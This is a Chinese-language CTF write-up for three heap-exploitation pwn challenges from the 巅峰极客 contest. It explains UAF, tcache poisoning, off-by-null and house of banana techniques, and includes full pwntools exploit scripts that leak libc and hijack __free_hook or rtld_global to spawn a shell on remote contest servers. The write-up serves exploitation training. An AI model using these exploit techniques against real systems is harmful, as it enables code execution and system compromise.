Pwn

gift

程序保护全开

程序功能:

  • add:最多只能申请十次堆块,每次申请大小为0x60或0x100,往里写内容的时候是往user_data+0x10处写。

  • delete:有UAF

  • show:可泄露

  • bargain:可以用来控制fd。并且类型为int,比较类型也是有符号比较,所以可以减0x10范围内的数字,或者加int(4字节内)的数字。

因为这道题idx太少了,直接free掉7个chunk填满tcache_list不可行,所以我是通过bargain函数修改fd指针到一个fake_chunk,这个fake_chunk大小属于unsortedbin范围,且可通过add一次0x60大小堆块修改到下一个已被free的0x100大小tcache去改掉它的next指针。

这样的话不仅可以泄露unsorted bin 的fd,还可以顺带改掉下一个已经被free掉的tcache的fd,实现tcache_dup

ps:这里也有个洞不过尝试了一下不好利用,在add里面mode选择3,会跳过malloc直接read:

问题出在,远程libc不确定,我最先尝试的是glibc 2.31 9.9free_hook五个ogg都失败(one_gadget -l2可以查看更多ogg)。因为idx原因也打不了malloc_hook,我打exit_hook成功了。

尝试远程之后寄。

后来尝试了2.29和2.27,在2.27成功。

EXP:

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/巅峰极客/gift/pwn')
libc = ELF('/mnt/hgfs/ubuntu/巅峰极客/gift/libc.so.6')
r = remote('101.200.85.91',44388)def menu(choice):r.recvuntil(b"your choice:")r.sendline(str(choice))def add(what,content):menu(2)r.recvuntil(b"your choice:")r.sendline(str(what))r.recvuntil(b"plz write your wish on your gift!")r.send(content)def delete(idx):menu(3)r.recvuntil(b"index?")r.sendline(str(idx))def show(idx):menu(4)r.recvuntil(b"index?")r.sendline(str(idx))def bargain(idx,offset):menu(5)r.recvuntil(b"index?")r.sendline(str(idx))r.recvuntil(b"How much?")r.sendline(str(offset))add(1,b'a'*0xc0+p64(0)+p64(0x451))#0
add(1,b'a'*8)#1
add(1,b'a'*8)#2
add(1,b'a'*8)#3
add(1,b'a'*0xd0+p64(0)+p64(0x21))#4delete(0)delete(2)
bargain(2,-0xe0)
add(1,b'a'*8)#5
add(1,b'a'*8)#6
delete(6)show(6)
r.recvuntil(b'cost: ')
#-0x1ecba0
libc_base = int(r.recvuntil(b'\n')[:-1],10)-0x3ebca0
free_hook = libc_base+libc.symbols["__free_hook"]
# exit_hook = libc_base+0x218f68
# # system_addr = libc_base+0xe3cf6
one_gadget = libc_base+0x4f302
delete(3)
delete(1)
add(2,p64(free_hook-0x10)*8)#7
add(1,b'/bin/sh\x00')#8
add(1,p64(one_gadget))#9# gdb.attach(r)
# menu(1)
delete(3)
# delete(3)
# show(6)
# r.recvuntil(b'cost: ')
# heap_addr =int(r.recvuntil(b'\n')[:-1],10)# log.success("heap_addr: "+hex(heap_addr))
log.success("libc_base: "+hex(libc_base))
# gdb.attach(r)
r.interactive()

smallcontainer

2.27的off by null,感觉没什么好说的。

洞出在这里:

edit后会触发check函数:如果堆块内容连续(不带\x00),遇到堆块内容中含有\x11的字节就会转变为0。

最开始打算用0x111大小的堆块去off by null,后面发现填不满tcache_list,猪鼻了,然后改成0x211大小的,直接打就行。这道题也不用怎么解释了,夹心饼攻击就行。

EXP:

from pwn import *context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/巅峰极客/container/smallcontainer')
r = remote('101.200.85.91',23533)
libc = ELF('/mnt/hgfs/ubuntu/巅峰极客/container/libc-2.27.so')def menu(choice):r.recvuntil(b"> ")r.sendline(str(choice))def add(size):menu(1)r.recvuntil(b"Input size: ")r.sendline(str(size))def delete(idx):menu(2)r.recvuntil(b"Input index: ")r.sendline(str(idx))def edit(idx,content):menu(3)r.recvuntil(b"Input index: ")r.sendline(str(idx))r.sendline(content)def show(idx):menu(4)r.recvuntil(b"Input index: ")r.sendline(str(idx))add(0x1f8)#0
add(0x110)#1
add(0x110)#2
[add(0x1f8) for i in range(8)]#3-10[delete(j)for j in range(3,10)]
delete(0)
add(0x208)#0
add(0x208)#3
add(0x218)#4
edit(10,b'a'*0x1f8)
edit(10,b'a'*0x1f0+p64(0x1440))
edit(0,b'a'*0x1f0+p64(0)+p64(0x221))
delete(0)
[add(0x1f8) for k in range(7)]#5-9,11,12
delete(2)
add(0x1f8)#2
show(1)
libc_base = int(r.recv(12),16)-0x3ebca0
free_hook = libc_base+libc.symbols["__free_hook"]
add(0x1f8)#12
edit(12,b'a'*0x110+p64(0)+p64(0x121)+p64(free_hook))
add(0x110)#13
add(0x110)#14
one_gadget = libc_base+0x4f302
edit(14,p64(one_gadget))log.success("libc_base: "+hex(libc_base))
# gdb.attach(r)
delete(2)
r.interactive()

happy_note

唯一一道稍微有意思的题。

Glibc 2.34 3.2,house of kiwi刚好在这个版本失效,只有一次UAF而且size限制<=0x200,所以打mp_,hosue of emma全不行。

一次UAF不是什么问题,可以分解成很多个UAF,但是限制了只有两次add机会,这就相当于限制死了我们只有一次UAF了。一次UAF是改不了guard的。

因此剩余的办法就只有两种:一种house of banana,一种house of apple2,house of apple3。

我选择的是house of banana。

先泄露heap,libc基址和实现任意写:

我的方法是先用0x200大小的堆块填充满tcache_list,然后UAF free掉一个堆块,将这个堆块分割成两个小的堆块(0x10和0x1e0),只有这样才能实现任意写,不然原大小(0x200)的tcache_list是满的,也无法通过malloc来清空 tcache_list

然后free掉0x10大小的堆块,泄露高版本保护指针的key,然后free两个大小0x1e0大小的堆块,通过UAF改掉其中一个的fd,实现任意写。(高版本对tcache count有检测,不能free一个改掉fd就申请两次实现任意写)。

拿到任意写之后,我的方法是传统house of banana,打rtld_global的第一个变量ns_load,然后伪造。没开沙盒可以直接getshell。

不过这道题直接打libc里的原有的banana结构体应该更好更简洁。

EXP:

from secrets import choice
from pwn import *context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/巅峰极客/happy_note/happy_note')
r = remote('123.56.236.86',13397)
libc = ELF('/mnt/hgfs/ubuntu/巅峰极客/happy_note/libc.so.6')def menu(choice):r.recvuntil(b">> ")r.sendline(str(choice))def add(idx,size,choice):menu(1)r.recvuntil(b"Note size:")r.sendline(str(size))r.recvuntil(b"Choose a note:")r.sendline(str(idx))r.recvuntil(b"Choose a mode: [1] or [2]")r.sendline(str(choice))def delete(idx):menu(2)r.recvuntil(b"Choose a note:")r.sendline(str(idx))def edit(idx,content):menu(4)r.recvuntil(b"Choose a note:")r.sendline(str(idx))r.recvuntil(b"Edit your content:")r.send(content)def show(idx):menu(3)r.recvuntil(b"Which one do you want to show?")r.sendline(str(idx))def UAF(idx):menu(666)r.recvuntil(b"Choose a note:")r.sendline(str(idx))[add(i,0x200,1)for i in range(9)]
[delete(j) for j in range(7)]#0-6
UAF(7)
show(7)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-0x219cc0
add(0,0x10,1)
add(1,0x1e0,1)
add(2,0x1e0,1)
add(3,0x1e0,1)
delete(0)
show(7)
r.recvuntil(b'content: ')
key = u64(r.recvuntil(b'\n')[:-1].ljust(8,b'\0'))-1
heap_base = key*0x1000
delete(2)
delete(1)rtld_global_addr = libc_base+0x25f040
edit(7,b'a'*0x20+p64(rtld_global_addr^(key+1)))
add(4,0x1e0,2)
add(5,0x1e0,2)
edit(5,p64(heap_base+0x1130)+p64(0x4))ret_addr = libc_base+0x0000000000028a87
one_gadget = libc_base+0xeacecfake_link_map_addr = heap_base + 0x1130
payload= p64(fake_link_map_addr + 0x20)+p64(0x61)
payload += p64(0) +  p64(libc_base + 0x2607d0) # l_next
payload += p64(0) + p64(fake_link_map_addr) # l_real
payload += p64(libc_base+libc.symbols["setcontext"]+61) # second call  rdx = the address of last call
payload += p64(ret_addr) # first call (fake_link_map_addr + 0x38)
payload += p64(one_gadget)flag_addr = fake_link_map_addr + 0xe8payload += p64(fake_link_map_addr + 0x40) # rsp
payload += p64(ret_addr) # rip
payload += b'./flag\x00\x00' # fake_link_map_addr + 0xe8payload = payload.ljust(0x110, b'\x00')payload += p64(fake_link_map_addr + 0x110) + p64(0x10) # l->l_info[26]  &  d_ptr = 0x10
payload += p64(fake_link_map_addr + 0x120) + p64(0x10) # l->l_info[28]  &  i = 0x10/8 = 2 => array[1] = l->l_addr + d_ptr + 8 => array[0] = l->l_addr + d_ptredit(4,payload)
edit(8,b'\x00'*0x128+p64(0x800000000))log.success("heap_base: "+hex(heap_base))
log.success("libc_base: "+hex(libc_base))
# gdb.attach(r)
delete(0xb)
r.interactive()

巅峰极客pwn wp相关推荐

  1. 2022巅峰极客PWN

    Gift 检查保护机.这题没给libc,我是通过 double free 以及打印fd的内容,判断版本应该是在2.27,小版本我直接用到了最高的去调试. 最多申请十个堆块,只能申请size为0x100 ...

  2. 2020巅峰极客wp

    2020巅峰极客 巅峰极客是给开封市信网办做护网的时候打的比赛,所以比赛体验感并不好,简单写一下wp virus-re 代码分为三部分 以'-'为间隔,将flag的第一部分转换为整型数字,并且满足后项 ...

  3. 2022巅峰极客WriteUp By EDISEC

    2022巅峰极客WriteUp By EDISEC Web babyweb ezWeb Crypto point-power strange curve Pwn Gift smallcontainer ...

  4. 巅峰极客2022wp

    巅峰极客2022 文章目录 巅峰极客2022 web babyweb ezWeb web babyweb 提示cbc padding oracle攻击,这是一个服务端的密码学漏洞,buu上做过原题[N ...

  5. 巅峰极客2022初赛 部分题解

    文章目录 Crypto point-power strange curve Misc easy_Forensic Lost 巅峰极客2022初赛,团队共解决7道题,合计2234分,排名第11位,晋级复 ...

  6. 2018巅峰极客writeup(Misc)

    原文地址:https://mistsatan.github.io/articles/2018-Peakgeek-Writeup-Misc.html 作为一个渣渣,带着去看各路神仙打架的想法报名了这次的 ...

  7. 巅峰极客第一场CTF部分writeup

    额,上午驾校学车,中午打了会儿安恒的月赛,就来看巅峰极客的题了.时间关系实力原因没做几个emmmm太菜了wa MISC-warmup-100pt 拿到一个bmp文件,套路走一波,右键查看属性emmm啥 ...

  8. [代码审计][PHAR]巅峰极客babyphp2学习压缩过滤器触发phar

    前言:我要当赛棍!!! 文章目录 序列化与反序列化 基本介绍 PHP反序列化漏洞原理 常用的魔法函数 __wakeup()绕过:CVE-2016-7124 __set:巅峰极客babyphp2 解决p ...

  9. 2021巅峰极客逆向baby_maze题wp

    IDA分析发现题目所谓的迷宫没有一个数据结构来表示,而是每一个函数就是一关: 输入S后进入下一关: 然后一直过关到这个函数: 开始的时候我没注意看有多少个函数,以为就几十个,手工用crossref从结 ...

最新文章

  1. android button背景图片自适应,Android开发之给你的Button加个背景
  2. 什么地方容易刷出ak_CSGO皮肤推荐——AK燃料喷射器
  3. Spring Schedule配置及初始化
  4. STM32学习之路-感觉自己走到了一个天大的坑里了!
  5. 解决kindeditor在线编辑器 过滤dl、dd、dt的两种方法
  6. LIF模型及其变种 Training Spiking Deep Networks for Neuromorphic Hardware
  7. poj 1966 Cable TV Network 顶点连通度
  8. 曾辉机器人_奋进者曾辉:在润物无声中深植教育初心
  9. C++优先队列自定义排序总结
  10. 计算机C语言课程内容,计算机C语言课程主要内容简介.ppt
  11. 【开源电机驱动】H桥的安全保护机制
  12. Hadoop高手之路1—Hadoop简介
  13. 蓝桥杯评分标准_蓝桥杯软件设计大赛自测评分标准
  14. 金蝶生成凭证模板_【干货】金蝶云ERP教你凭证模版的引入引出
  15. 为什么程序员应该写博客?用什么博客系统?在哪写?
  16. linux 网络编程 51cto,Linux服务器开发,2小时搞定高并发网络编程
  17. excel去除重复项
  18. Gauss工作—学习笔记
  19. 【SQL自学打卡|DAY11】——苟日新,日日新,又日新
  20. 拿高分文章,还得是Synaptic Systems 微管蛋白抗体

热门文章

  1. 微程序控制及微程序设计实验报告
  2. 顺丰科技运维开发工程师二面面经
  3. 黑马程序员武汉中心——程序员面试套路集
  4. Docplex入门(1)——线性规划
  5. 通过putty取linux文件,putty对Linux上传下载文件或文件夹
  6. matlab 端点检测 能零比法_基于短时能量与过零率的端点检测的matlab分析
  7. js实现-商城分类导航效果
  8. win10切换输入法快捷键_改掉Win10难用的输入法
  9. 回复差评经典话术模板
  10. “黑洞事件”持续发酵,视频版权保护又有哪些门道?